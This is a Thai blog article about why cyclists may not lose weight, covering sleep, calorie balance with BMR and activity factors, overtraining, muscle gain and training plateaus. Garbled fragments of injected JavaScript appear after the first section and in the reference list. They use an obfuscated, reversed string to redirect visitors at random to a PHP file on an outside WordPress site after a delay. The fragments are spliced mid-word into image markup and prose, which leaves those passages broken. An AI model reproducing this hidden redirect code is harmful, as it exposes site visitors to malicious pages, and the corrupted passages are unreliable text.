ปั่นจักรยานเเล้วผอม…เเต่ทำไมเรายังอ้วนอยู่ อาจจะเป้นคำถามสำหรับใครหลายๆ คน ที่เริ่มฝึกปั่นอย่างจริงจัง ปั่นมานาน ปั่นเช้า ปั่นเย็น เเต่ก็ยังไปไม่ถึงไหน วันนี้เรามาดูกัน สาเหตุ 5 ประการที่ทำให้คนปั่นจักรยานแล้วยังไม่ผอมลง…
1. นอนน้อย
การนอนหลับพักผ่อนไม่เพียงพอ หรือ Sleep deprivation ฝื่นตื่นไม่ยอมนอน การนอนน้อยมีผลต่อระบบเมตาบอลิซึ่ม ทำให้การเผาผลาญไม่คงที่ เเกว่งไปมา เดียวๆ ก็หิว ทำให้เรามีความต้องการอาหารมากขึ้นด้วย โดยเฉพาะอาหารพวกเเป้ง (เน้นเลยว่าพวกเเป้งมีน้ำตาลเยอะ) จากขนมขบเคี้ยวต่างๆ นอกจากนี้ยังส่งผลต่อภาวะอารมณ์และฮอร์โมน
{if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == )
andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-carb-400×205.png” alt=”fat andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and carb” width=”550″ height=”282″ />การนอนหลับผักผ่อนให้เพียงพอทำให้ร่างกายสามารถ Recovery ได้เร็วขึ้นอีกด้วย นั้นหมายความว่าเรามีเวลาฝึกซ้อมได้เยอะขึ้น จริงมั้ย!!! ในขณะที่เราออกกกำลังกายช่วงกลางวัน ร่างกายจะดึงเอาเเหล่งพลังงานที่หาได้ง่ายเเละใกล้ที่สุด อย่างเเป้ง ไกลโคเจนที่สะสมในกล้ามเนื้อมาใช้ก่อน หลังจากนั้นร่างกายจะเริ่มมีการดึงเอาไขมันมาใช้สำหรับ basic function ทั่วไปอย่าง การเดินเคลื่อนไหวไปมา การสนทนา และการนอนหลับ ยิ่งคนที่ฝึก weight training ในขณะที่นอนหลับ กล้ามเนื้อจะดึงไขมันในร่างกายมาใช้งานมากกว่าคนทั่วไป
เเล้วเราควรนอนให้พอวันละกี่ชั่วโมงดีละ…จากการศึกษาหลายๆ สำนักบอกว่าคนเราต้องการเวลานอนต่างกัน เเต่ตีวงได้ระหว่าง 7-10 ชั่วโมง
2. กินมากกว่าเอาออก
กินมากกว่าเอาออกในที่นี้หมายถึง จำนวนเเคลอรี่ที่คุณรับเข้าไปมากกว่าจำนวนเเคลอรี่ที่เบิร์นออกไป เอาง่ายๆ คุณปั่น 40 กิโลเมตรใช้พลังงานไป 700 kcal เมื่อฝึกเสร็จ คุณดื่มเครื่องดื่มเกลือเเร่ที่มีขายตาม 7-11 (น้ำตาลเแยะมาก) หรือไม่ก็น้ำปั่นผลไม้ เสร็จเเล้วกินข้าวต่อ 1 หรือ 2 จาน ตามด้วยขนมขบเคี้ยวปิดท้าย ถ้าตีอย่างละ 300 kcal คิดว่ามันมากกว่าจำนวนที่เบิร์นออกไปมั้ย ตราบใดที่คุณยังกินมากกว่าเบิร์น คุณก็ยังอ้วนเท่าเดิม
การเป็นนักปั่นที่ดี เราต้องวางแผนก่อนว่า…
1. ก่อนปั่น ต้องมีมื้อรองท้องเบาๆ ไม่ควรออกกำลังกายเเบบท้องว่างเลย เพราะจะทำให้ไม่มีเเรงเเละหิวมากด้วย
2. ระหว่างปั่น การดื่มน้ำสม่ำเสมอช่วยลออาการหิวโซได้ หากปั่นเกิน 1 ชั่วโมงเเนะนำว่าควรมีการ refuel กลางทาง
3. หลังปั่น เน้นพวกโปรตีนมากกว่าเเป้ง เป็นต้น
หากสามารถปรึกษานักโภชนาการ ทำการเเจกเเจ้งปริมาณเเคลอรี่ที่เราควรรับในเเต่ละวันเราจะควบคุมน้ำหนักได้รวดเร็วขึ้นด้วย เเต่ทั้งนั้นไม่ควรเร่งรีบลดน้ำหนักเพราะจะทำให้ร่างกายมีความเครียดสะสมมากเกินไป จนบาดเจ็บเเละป่วยได้
ผู้เขียนมีคลิปยูทูปดีๆ มาให้ดู…ในการคำนวนเเคลอรี่ที่ใช้ในเต่ละวัน อย่างเเรกคุณต้องรู้ว่าเป้าหมายของคุณคืออะไร
1. เพื่อลดน้ำหนัก (Gain weight ไม่ใช้ gain fat) ถ้าลดน้ำหนักหมายความว่าคุณต้องออกกำลังกายให้เบิร์นเเคลอรี่มากกว่าจำนวนเเคลอรี่ที่กินเข้าไป
2. รักษาน้ำหนัก การรักษาน้ำหนักคือ จำนวนเเคลอรี่ที่เบิร์นระหว่างออกกำลังกายเท่ากับจำนวนเเคลอรี่ที่กินเข้าไป
3. เพื่อเพิ่มน้ำหนัก คือจำนวนเเคลอรี่ที่รับเข้าร่างกายมากกว่าที่เบิร์นออกไป
หมายเหตุ ย้ำว่าการเพิ่มน้ำหนัก คือการเพิ่มมวลกล้ามเนื้อเข้าไป (lean muscle mass) ไม่ใช้เพิ่ม fat นะครับ
เมื่อรู้เป้าหมายเเล้ว ก่อนมาคำนวนสิ่งที่เรียกว่า BMR (Basal Metabolic Rate) หรือภาษาบ้านที่เเปลง่ายๆ ว่า จำนวนเเคลอรี่ที่ร่างกายเราต้องการในชีวิตประจำวัน ไม่ว่าจะใช้กิน นอน พูด ดูทีวี เดินไปมา (สามารถคำนนไปจากเพจ http://www.bmi-calculator.net/)
อย่างที่สองเราตัองรู้ว่า พฤติกรรมประจำวัน (Daily Activity Factor)ของเราเป็นอย่างไหน…
1. เป็นคนไม่ active เลยไม่ค่อยเคลื่อนไหวกินเเล้วนั่งๆ นอนๆ…BMR*1.2
2. เป็นคนค่อนข้าว active หน่อย พวกนักกีฬาที่บาดเจ็บ พนักงาน office ทั่วไป…BMR*1.4
3. เป็นคน active ปานกลาง ออกกำลังกาย 3-5 วันต่อสัปดาห์ พวกออกกำลังกายเพื่อสุขภาพเป้นประจำ…BMR*1.6
4. เป็นตน Active มากพวกฝึกหนัก ฝึก 6-7 ต่อสัปดาห์…BMR*1.8
5. เป็นนเเบบ Active มากและอาจทำงานที่ใช้เเรงงาน ฝึกเพื่อเป็นโปร…BMR*1.9
เมื่อได้ BMR และ Daily Activity Factor เราจะได้ค่าพลังงานเเคลอรี่ที่ต้องการในเเต่ละวัน ที่สอดคล้องกับกิจกรรมของเราในเเต่ละวัน
ในตัวอย่างจะใช้ชื่อคนว่า Cindy ที่มีค่า BMR * Daily Activity Factor = 2400 kcals (ใช้ค่าประมาณเลยนะครับ จะเข้าใจง่ายขึ้น) ถ้าต้องการรักษาน้ำหนักก็ต้องกินอาการในเเต่ละวันที่ 2400 kcals
ถ้าต้องการลดน้ำหนัก ก็ต้องกินให้น้อยลงหรือ calories intake น้อยกว่า 2400 kcals เเต่เพื่อความปลอดภัย ไม่ควรตัดจำนวนเเคลอรี่ที่ละมากๆ แนะนำลดที่ละ 500 เเคลอรี่
เต่ถ้าต้องการน้ำหนักเพิ่มขึ้น ก็ต้องกินให้มากขึ้น ค่อยๆ กินค่อยๆ เพิ่มเหมือนกับการลดน้ำหนักละครับ
3. ปั่นมากเกินไป
การฝึกปั่นเเบบ Non-stop ปั่นทุกวันฝึกหนักทุกวัน ร่างกายจะเริ่มสะสมความเครียดขึ้นเรื่อยๆ อย่างเช่น ร่างกายจะผลิตสาร Cortisol ซึ่งโดยปกติมักจะผลั่งออกมาในเวลาที่เราตกอยู่ในอันตราย อยู่ในสภาวะตรึงเครียด ร่างกายจะถูกสั่งให้สะสมพวกเเป้งเพื่อเป็นเเหล่งพลังงานเก็บสำรองไว้
เเนะนำว่าให้…
1. ทำการหยุดพักสักสองสามวัน ให้ร่างกายได้ทำการ รีเซ๊ต ระบบเมตาบอลิซึม
2. ทำโปรเเกรมการฝึกซ้อมใหม่ สามารถดูได้จากบทความ….การสร้าง Training Program สำหรับนักปั่น
การฝึกมาเกินไปก็ทำให้กล้ามเนื้อเเละระบบร่างกายล้าได้เหมือนกันครับ ทุกๆ การฝึกซ้อมควรพักให้เต็มที่ จะได้ซ้อมอย่างเต็ม 100% เบิร์นพลังงานได้เยอะและมีประสิทธิภาพ
4. มีการสร้างกล้ามเนื้อเพิ่มขึ้น
การออกกำลังกายไม่ใช้น้ำหนักจะลดลงอย่างเดียว เเต่ร่างกายจะสร้างมัดกล้ามเนื้อขึ้นมาด้วย ยิ่งคุณฝึกหนักเท่าไหร ร่างกายก็จะสร้างกล้ามเนื้อขึ้นมารองรับกับ workload ของคุณมากเท่านั้น เป็นผลให้ทำเราเเข็งเเกร่งขึ้น วิ่ง ยกน้ำหนักได้มากขึ้น สำหรับสาวๆ การเพิ่มกล้ามเนื้อฟังดูจะน่ากลัว เเต่เเท้จริงเเล้วมัดกล้ามเนื้อที่สร้างขึ้นมาจะไปทำการ Tone Body ให้เข้าสัดส่วน ตัวอย่างเช่น รอบเอวลดลง เเต่น้ำหนักเพิ่มขึ้น มีกล้ามหน้าท้องเเต่น้ำหนักเพิ่มขึ้น เป็นต้น
ถ้าอยากเห็นภาพชัดเจนลองดูว่า ไขมัน 2 กิโลกรัมกับกล้ามเนื้อ 2 กิโลกรัมต่างกันอย่างไร
5. รูปแบบการออกำลังกายซ้ำๆ
สมมุติว่าเราปั่นออกกำลังกายระยะทาง 40 กิโลเมตร ใช้เวลาไป 1.30 ชั่วโมง ฝึกครั้งที่สอง ทำเวลาได้ 1.20 ชั่วโมง เเละครั้งที่สามได้ 1.10 ชั่วโมง ทุกๆ การปั่นเราเร็วขึ้นเเละเหนื่อยน้อยลง นั้นหมายความว่าร่างกายมีการปรับตัวเเละเริ่มใช้พลังงานอย่างมีประสิทธิภาพ ดูภายนอกการใช้พลังงานหรือเเคลอรี่อาจจะค่อนข้างใกล้เคียงกัน เเต่เเท้จริงเเล้วเรทอัตราการพลังงานใช้จะมีเทรนที่ต่ำลงจนคงที่
ยิ่งเราฝึกปั่นมากเท่าไหร เรายิ่งเข้าใกล้จุดพีค (Peak) หรือถึงจุด Plateau หรือจุด top performance ของเรา การใช้พลังงานจะเริ่มลดลงเเละคงที่ ความเร็วก็จะเริ่มจากช้าไปเร็วเเละคงที่เช่นเดียวกับการใช้พลังงาน ดังนั้นการฝึกจำเป็นต้องมีการ Introduce workload อีกครั้ง อย่างเช่นการฝึก Interval หรือ การฝึกกล้ามเนื้อ strenght training เพื่ออัพร่างกายให้เเกร่งขึ้นไปอีกขึ้น การเผาผลาญก็จะเพิ่มขึ้นตามไปด้วย
หากดูตามกราฟ การเพิ่มความเข้มข้นในตอนเเรกจะทำให้ร่างกายเหนื่อยมากขึ้น เเต่เมื่อได้พักร่างกายจะเริ่มฟื้นฟู และปรับตัวให้เข้ากับระดับเลเวลใหม่ ซึ่งเราจะมี performace มากขึ้น
ยิ่งเราฝึกหนักมากขึ้นระดับความสามารถก็จะเพิ่มขึ้นด้วย เเต่ทั้งนี้ต้องมีการ recovery ที่ดี การฝึกประกอบการปั่นจักรยานอย่างเช่น การฝึก cross-training การฝึกกล้ามเนื้อและการฝึก short intensive high interval
การฝึกเเบบเดิมๆ ทำให้ระบบร่างกายปรับตัวจนคุ้นชิน การฝึกเปลี่ยน routine การผสมผสานรูปแบบการฝึกอิ่นๆ จะช่วยกระตุ้นการเผาผลาญและเพิ่มระดับความเเข็งเเกร่งจะเพิ่มขึ้น
ข้อดีอีกอย่างของการผสมการฝึกซ้อมรูปเเบบต่างๆ คือ ช่วบลดอาการเบื่อหน่าย กล้ามเนื้อทุกส่วนมีการกระตุ้นให้ทำงาน ร่างกายมี flexibility srength endurace มากขึ้น
อ้างอิ้งtotalwomenscycling.combretcontreras.comdalebeattie.weebly.comandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-stronger/” data-noload=”” data-ved=”0CAYQjB1qFQoTCO-Dt_bulMkCFRWRjgodJTIBhQ”>www.wellbuiltstyle.com
